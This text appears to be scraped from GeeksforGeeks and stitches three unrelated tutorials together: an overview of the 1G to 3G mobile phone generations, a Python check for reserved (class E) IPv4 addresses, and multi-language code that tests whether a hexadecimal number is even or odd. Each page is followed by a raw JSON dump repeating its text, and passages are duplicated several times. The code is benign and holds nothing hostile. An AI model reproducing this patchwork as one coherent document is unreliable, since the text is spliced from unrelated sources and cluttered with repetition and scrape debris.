13 Nov, 2020 Mobile telephone system is used for wide area voice and data communication. Cell phones have gone through three different generations, called 1G, 2G and 3G. The generations are as following: 1. Analog voice 2. Digital voice 3. Digital voice and data These are explained as following below. First generation (1G) Mobile Phones : Analog Voice1G system used a single large transmitter and had a single channel, used for both receiving and sending. If a user wants to talk then he has to push the button that enabled the transmitter and disabled the receiver. Such systems were called push-to-talk systems, and they were installed in the late 1950’s. In 1960’s IMTS (Improved Mobile Telephone System) was installed. It also used a high-powered (20-watt) transmitter on top of a hill but it had two frequencies, one for sending and one for receiving, so push to talk button was no longer needed.Second generation (2G) Mobile phones : Digital voiceThe first generation mobile phones was analog though second generation is digital. It enables new services such as text messaging. There was no worldwide standardization during second generation. Several different systems were developed and three have been deployed. GSM (Global System for Mobile Communications). It is the dominant 2G system.Third generation (3G) Mobile Phones : Digital Voice and DataThe first generation was analog voice and second generation was digital voice but 3rd generation is about digital voice and data. 3G mobile telephony is all about providing enough wireless bandwidth to keep future users happy. Apple’s iPhone is the kind of 3G device but actually it is not using exactly 3G , they used enhanced 2G network i.e. 2.5G and there is not enough data capacity to keep users happy. First generation (1G) Mobile Phones : Analog Voice1G system used a single large transmitter and had a single channel, used for both receiving and sending. If a user wants to talk then he has to push the button that enabled the transmitter and disabled the receiver. Such systems were called push-to-talk systems, and they were installed in the late 1950’s. In 1960’s IMTS (Improved Mobile Telephone System) was installed. It also used a high-powered (20-watt) transmitter on top of a hill but it had two frequencies, one for sending and one for receiving, so push to talk button was no longer needed. Second generation (2G) Mobile phones : Digital voiceThe first generation mobile phones was analog though second generation is digital. It enables new services such as text messaging. There was no worldwide standardization during second generation. Several different systems were developed and three have been deployed. GSM (Global System for Mobile Communications). It is the dominant 2G system. Third generation (3G) Mobile Phones : Digital Voice and DataThe first generation was analog voice and second generation was digital voice but 3rd generation is about digital voice and data. 3G mobile telephony is all about providing enough wireless bandwidth to keep future users happy. Apple’s iPhone is the kind of 3G device but actually it is not using exactly 3G , they used enhanced 2G network i.e. 2.5G and there is not enough data capacity to keep users happy. Computer Networks Computer Networks Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Advanced Encryption Standard (AES) Intrusion Detection System (IDS) Introduction and IPv4 Datagram Header Secure Socket Layer (SSL) Cryptography and its Types Multiple Access Protocols in Computer Network Routing Information Protocol (RIP) Congestion Control in Computer Networks Wireless Sensor Network (WSN) Architecture of Internet of Things (IoT)
[ { "code": null, "e": 25755, "s": 25727, "text": "\n13 Nov, 2020" }, { "code": null, "e": 25946, "s": 25755, "text": "Mobile telephone system is used for wide area voice and data communication. Cell phones have gone through three different generations, called 1G, 2G and 3G. The generations are as following:" }, { "code": null, "e": 26006, "s": 25946, "text": "1. Analog voice\n2. Digital voice\n3. Digital voice and data\n" }, { "code": null, "e": 26046, "s": 26006, "text": "These are explained as following below." }, { "code": null, "e": 27509, "s": 26046, "text": "First generation (1G) Mobile Phones : Analog Voice1G system used a single large transmitter and had a single channel, used for both receiving and sending. If a user wants to talk then he has to push the button that enabled the transmitter and disabled the receiver. Such systems were called push-to-talk systems, and they were installed in the late 1950’s. In 1960’s IMTS (Improved Mobile Telephone System) was installed. It also used a high-powered (20-watt) transmitter on top of a hill but it had two frequencies, one for sending and one for receiving, so push to talk button was no longer needed.Second generation (2G) Mobile phones : Digital voiceThe first generation mobile phones was analog though second generation is digital. It enables new services such as text messaging. There was no worldwide standardization during second generation. Several different systems were developed and three have been deployed. GSM (Global System for Mobile Communications). It is the dominant 2G system.Third generation (3G) Mobile Phones : Digital Voice and DataThe first generation was analog voice and second generation was digital voice but 3rd generation is about digital voice and data. 3G mobile telephony is all about providing enough wireless bandwidth to keep future users happy. Apple’s iPhone is the kind of 3G device but actually it is not using exactly 3G , they used enhanced 2G network i.e. 2.5G and there is not enough data capacity to keep users happy." }, { "code": null, "e": 28110, "s": 27509, "text": "First generation (1G) Mobile Phones : Analog Voice1G system used a single large transmitter and had a single channel, used for both receiving and sending. If a user wants to talk then he has to push the button that enabled the transmitter and disabled the receiver. Such systems were called push-to-talk systems, and they were installed in the late 1950’s. In 1960’s IMTS (Improved Mobile Telephone System) was installed. It also used a high-powered (20-watt) transmitter on top of a hill but it had two frequencies, one for sending and one for receiving, so push to talk button was no longer needed." }, { "code": null, "e": 28506, "s": 28110, "text": "Second generation (2G) Mobile phones : Digital voiceThe first generation mobile phones was analog though second generation is digital. It enables new services such as text messaging. There was no worldwide standardization during second generation. Several different systems were developed and three have been deployed. GSM (Global System for Mobile Communications). It is the dominant 2G system." }, { "code": null, "e": 28974, "s": 28506, "text": "Third generation (3G) Mobile Phones : Digital Voice and DataThe first generation was analog voice and second generation was digital voice but 3rd generation is about digital voice and data. 3G mobile telephony is all about providing enough wireless bandwidth to keep future users happy. Apple’s iPhone is the kind of 3G device but actually it is not using exactly 3G , they used enhanced 2G network i.e. 2.5G and there is not enough data capacity to keep users happy." }, { "code": null, "e": 28992, "s": 28974, "text": "Computer Networks" }, { "code": null, "e": 29010, "s": 28992, "text": "Computer Networks" }, { "code": null, "e": 29108, "s": 29010, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29143, "s": 29108, "text": "Advanced Encryption Standard (AES)" }, { "code": null, "e": 29176, "s": 29143, "text": "Intrusion Detection System (IDS)" }, { "code": null, "e": 29214, "s": 29176, "text": "Introduction and IPv4 Datagram Header" }, { "code": null, "e": 29240, "s": 29214, "text": "Secure Socket Layer (SSL)" }, { "code": null, "e": 29267, "s": 29240, "text": "Cryptography and its Types" }, { "code": null, "e": 29313, "s": 29267, "text": "Multiple Access Protocols in Computer Network" }, { "code": null, "e": 29348, "s": 29313, "text": "Routing Information Protocol (RIP)" }, { "code": null, "e": 29388, "s": 29348, "text": "Congestion Control in Computer Networks" }, { "code": null, "e": 29418, "s": 29388, "text": "Wireless Sensor Network (WSN)" } ]
Python program to determine if the given IPv4 Address is reserved using ipaddress module - GeeksforGeeks
10 Jul, 2020 Given a IPv4 Address, the task is to determine whether it is reserved (i.e belongs to class E) or not. What is class E? IP addresses belonging to class E are reserved for experimental and research purposes. IP addresses of class E range from 240.0.0.0 – 255.255.255.254. This class doesn’t have any sub-net mask. The higher-order bits of the first octet of class E is always set to 1111. Examples: Input : 10.0.0.1 Output : Not Reserved Input : 241.0.0.133 Output : Reserved To implement it, we will use the is_reserved method of ipaddress module of Python3.3. # importing ip_address# from ipaddress modulefrom ipaddress import ip_address def reservedIPAddress(IP: str) -> str: return "Reserved" if (ip_address(IP).is_reserved) else "Not Reserved" if __name__ == '__main__' : # Not Reserved print(reservedIPAddress('10.0.0.1')) # Reserved print(reservedIPAddress('241.0.0.133')) Output : Not Reserved Reserved python-utility Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? Python Classes and Objects How to drop one or multiple columns in Pandas Dataframe Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary How to print without newline in Python?
[ { "code": null, "e": 25537, "s": 25509, "text": "\n10 Jul, 2020" }, { "code": null, "e": 25640, "s": 25537, "text": "Given a IPv4 Address, the task is to determine whether it is reserved (i.e belongs to class E) or not." }, { "code": null, "e": 25657, "s": 25640, "text": "What is class E?" }, { "code": null, "e": 25925, "s": 25657, "text": "IP addresses belonging to class E are reserved for experimental and research purposes. IP addresses of class E range from 240.0.0.0 – 255.255.255.254. This class doesn’t have any sub-net mask. The higher-order bits of the first octet of class E is always set to 1111." }, { "code": null, "e": 25935, "s": 25925, "text": "Examples:" }, { "code": null, "e": 26014, "s": 25935, "text": "Input : 10.0.0.1\nOutput : Not Reserved\n\nInput : 241.0.0.133\nOutput : Reserved\n" }, { "code": null, "e": 26100, "s": 26014, "text": "To implement it, we will use the is_reserved method of ipaddress module of Python3.3." }, { "code": "# importing ip_address# from ipaddress modulefrom ipaddress import ip_address def reservedIPAddress(IP: str) -> str: return \"Reserved\" if (ip_address(IP).is_reserved) else \"Not Reserved\" if __name__ == '__main__' : # Not Reserved print(reservedIPAddress('10.0.0.1')) # Reserved print(reservedIPAddress('241.0.0.133')) ", "e": 26450, "s": 26100, "text": null }, { "code": null, "e": 26459, "s": 26450, "text": "Output :" }, { "code": null, "e": 26482, "s": 26459, "text": "Not Reserved\nReserved\n" }, { "code": null, "e": 26497, "s": 26482, "text": "python-utility" }, { "code": null, "e": 26504, "s": 26497, "text": "Python" }, { "code": null, "e": 26520, "s": 26504, "text": "Python Programs" }, { "code": null, "e": 26618, "s": 26520, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26650, "s": 26618, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 26692, "s": 26650, "text": "Check if element exists in list in Python" }, { "code": null, "e": 26734, "s": 26692, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 26761, "s": 26734, "text": "Python Classes and Objects" }, { "code": null, "e": 26817, "s": 26761, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 26839, "s": 26817, "text": "Defaultdict in Python" }, { "code": null, "e": 26878, "s": 26839, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 26924, "s": 26878, "text": "Python | Split string into list of characters" }, { "code": null, "e": 26962, "s": 26924, "text": "Python | Convert a list to dictionary" } ]
Check if a HexaDecimal number is Even or Odd - GeeksforGeeks
28 Apr, 2021 Given a HexaDecimal number, check whether it is even or odd.Examples: Input: N = ABC7787CC87AA Output: Even Input: N = 9322DEFCD Output: Odd Naive Approach: Convert the number from Hexadecimal base to Decimal base. Then check if the number is even or odd, which can be easily checked by dividing by 2. Time Complexity: O(N)Efficient approach: Since Hexadecimal numbers contain digits from 0 to 15, therefore we can simply check if the last digit is either ‘0’, ‘2’, ‘4’, ‘6’, ‘8’, ‘A'(=10), ‘C'(=12) or ‘E'(=14). If it is, then the given HexaDecimal number will be Even, else Odd.Below is the implementation of the above approach. C++ Java Python 3 C# Javascript // C++ code to check if a HexaDecimal// number is Even or Odd #include <bits/stdc++.h>using namespace std; // Check if the number is odd or evenstring even_or_odd(string N){ int len = N.size(); // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return ("Even"); else return ("Odd");} // Driver codeint main(){ string N = "AB3454D"; cout << even_or_odd(N); return 0;} // Java code to check if a HexaDecimal// number is Even or Oddclass GFG{ // Check if the number is odd or evenstatic String even_or_odd(String N){ int len = N.length(); // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N.charAt(len - 1) == '0' || N.charAt(len - 1) == '2' || N.charAt(len - 1) == '4' || N.charAt(len - 1) == '6' || N.charAt(len - 1) == '8' || N.charAt(len - 1) == 'A' || N.charAt(len - 1) == 'C' || N.charAt(len - 1) == 'E') return ("Even"); else return ("Odd");} // Driver codepublic static void main(String[] args){ String N = "AB3454D"; System.out.print(even_or_odd(N));}} // This code is contributed by 29AjayKumar # Python code to check if a HexaDecimal# number is Even or Odd # Check if the number is odd or evendef even_or_odd(N): l = len(N) # check if the last digit # is either '0', '2', '4', # '6', '8', 'A'(=10), # 'C'(=12) or 'E'(=14) if (N[l - 1] == '0'or N[l - 1] == '2'or N[l - 1] == '4'or N[l - 1] == '6'or N[l - 1] == '8'or N[l - 1] == 'A'or N[l - 1] == 'C'or N[l - 1] == 'E'): return ("Even") else: return ("Odd") # Driver codeN = "AB3454D" print(even_or_odd(N)) # This code is contributed by Atul_kumar_Shrivastava // C# code to check if a HexaDecimal// number is Even or Oddusing System; public class GFG{ // Check if the number is odd or even static string even_or_odd(string N) { int len = N.Length; // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return ("Even"); else return ("Odd"); } // Driver code static public void Main () { string N = "AB3454D"; Console.WriteLine(even_or_odd(N)); }} // This code is contributed by shubhamsingh10 <script> // Javascript code to check if a HexaDecimal// number is Even or Odd // Check if the number is odd or even function even_or_odd(N) { let len = N.length; // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return ("Even"); else return ("Odd"); } // Driver Code let N = "AB3454D"; document.write(even_or_odd(N)); </script> Odd Atul_kumar_Shrivastava 29AjayKumar SHUBHAMSINGH10 chinmoy1997pal Mathematical School Programming Mathematical Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Program to print prime numbers from 1 to N. Segment Tree | Set 1 (Sum of given range) Modular multiplicative inverse Count all possible paths from top left to bottom right of a mXn matrix Fizz Buzz Implementation Python Dictionary Arrays in C/C++ Inheritance in C++ Reverse a string in Java C++ Classes and Objects
[ { "code": null, "e": 25937, "s": 25909, "text": "\n28 Apr, 2021" }, { "code": null, "e": 26009, "s": 25937, "text": "Given a HexaDecimal number, check whether it is even or odd.Examples: " }, { "code": null, "e": 26081, "s": 26009, "text": "Input: N = ABC7787CC87AA\nOutput: Even\n\nInput: N = 9322DEFCD\nOutput: Odd" }, { "code": null, "e": 26101, "s": 26083, "text": "Naive Approach: " }, { "code": null, "e": 26159, "s": 26101, "text": "Convert the number from Hexadecimal base to Decimal base." }, { "code": null, "e": 26246, "s": 26159, "text": "Then check if the number is even or odd, which can be easily checked by dividing by 2." }, { "code": null, "e": 26577, "s": 26246, "text": "Time Complexity: O(N)Efficient approach: Since Hexadecimal numbers contain digits from 0 to 15, therefore we can simply check if the last digit is either ‘0’, ‘2’, ‘4’, ‘6’, ‘8’, ‘A'(=10), ‘C'(=12) or ‘E'(=14). If it is, then the given HexaDecimal number will be Even, else Odd.Below is the implementation of the above approach. " }, { "code": null, "e": 26581, "s": 26577, "text": "C++" }, { "code": null, "e": 26586, "s": 26581, "text": "Java" }, { "code": null, "e": 26595, "s": 26586, "text": "Python 3" }, { "code": null, "e": 26598, "s": 26595, "text": "C#" }, { "code": null, "e": 26609, "s": 26598, "text": "Javascript" }, { "code": "// C++ code to check if a HexaDecimal// number is Even or Odd #include <bits/stdc++.h>using namespace std; // Check if the number is odd or evenstring even_or_odd(string N){ int len = N.size(); // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return (\"Even\"); else return (\"Odd\");} // Driver codeint main(){ string N = \"AB3454D\"; cout << even_or_odd(N); return 0;}", "e": 27293, "s": 26609, "text": null }, { "code": "// Java code to check if a HexaDecimal// number is Even or Oddclass GFG{ // Check if the number is odd or evenstatic String even_or_odd(String N){ int len = N.length(); // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N.charAt(len - 1) == '0' || N.charAt(len - 1) == '2' || N.charAt(len - 1) == '4' || N.charAt(len - 1) == '6' || N.charAt(len - 1) == '8' || N.charAt(len - 1) == 'A' || N.charAt(len - 1) == 'C' || N.charAt(len - 1) == 'E') return (\"Even\"); else return (\"Odd\");} // Driver codepublic static void main(String[] args){ String N = \"AB3454D\"; System.out.print(even_or_odd(N));}} // This code is contributed by 29AjayKumar", "e": 28078, "s": 27293, "text": null }, { "code": "# Python code to check if a HexaDecimal# number is Even or Odd # Check if the number is odd or evendef even_or_odd(N): l = len(N) # check if the last digit # is either '0', '2', '4', # '6', '8', 'A'(=10), # 'C'(=12) or 'E'(=14) if (N[l - 1] == '0'or N[l - 1] == '2'or N[l - 1] == '4'or N[l - 1] == '6'or N[l - 1] == '8'or N[l - 1] == 'A'or N[l - 1] == 'C'or N[l - 1] == 'E'): return (\"Even\") else: return (\"Odd\") # Driver codeN = \"AB3454D\" print(even_or_odd(N)) # This code is contributed by Atul_kumar_Shrivastava", "e": 28650, "s": 28078, "text": null }, { "code": "// C# code to check if a HexaDecimal// number is Even or Oddusing System; public class GFG{ // Check if the number is odd or even static string even_or_odd(string N) { int len = N.Length; // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return (\"Even\"); else return (\"Odd\"); } // Driver code static public void Main () { string N = \"AB3454D\"; Console.WriteLine(even_or_odd(N)); }} // This code is contributed by shubhamsingh10", "e": 29502, "s": 28650, "text": null }, { "code": "<script> // Javascript code to check if a HexaDecimal// number is Even or Odd // Check if the number is odd or even function even_or_odd(N) { let len = N.length; // check if the last digit // is either '0', '2', '4', // '6', '8', 'A'(=10), // 'C'(=12) or 'E'(=14) if (N[len - 1] == '0' || N[len - 1] == '2' || N[len - 1] == '4' || N[len - 1] == '6' || N[len - 1] == '8' || N[len - 1] == 'A' || N[len - 1] == 'C' || N[len - 1] == 'E') return (\"Even\"); else return (\"Odd\"); } // Driver Code let N = \"AB3454D\"; document.write(even_or_odd(N)); </script>", "e": 30234, "s": 29502, "text": null }, { "code": null, "e": 30238, "s": 30234, "text": "Odd" }, { "code": null, "e": 30263, "s": 30240, "text": "Atul_kumar_Shrivastava" }, { "code": null, "e": 30275, "s": 30263, "text": "29AjayKumar" }, { "code": null, "e": 30290, "s": 30275, "text": "SHUBHAMSINGH10" }, { "code": null, "e": 30305, "s": 30290, "text": "chinmoy1997pal" }, { "code": null, "e": 30318, "s": 30305, "text": "Mathematical" }, { "code": null, "e": 30337, "s": 30318, "text": "School Programming" }, { "code": null, "e": 30350, "s": 30337, "text": "Mathematical" }, { "code": null, "e": 30448, "s": 30350, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30492, "s": 30448, "text": "Program to print prime numbers from 1 to N." }, { "code": null, "e": 30534, "s": 30492, "text": "Segment Tree | Set 1 (Sum of given range)" }, { "code": null, "e": 30565, "s": 30534, "text": "Modular multiplicative inverse" }, { "code": null, "e": 30636, "s": 30565, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 30661, "s": 30636, "text": "Fizz Buzz Implementation" }, { "code": null, "e": 30679, "s": 30661, "text": "Python Dictionary" }, { "code": null, "e": 30695, "s": 30679, "text": "Arrays in C/C++" }, { "code": null, "e": 30714, "s": 30695, "text": "Inheritance in C++" }, { "code": null, "e": 30739, "s": 30714, "text": "Reverse a string in Java" } ]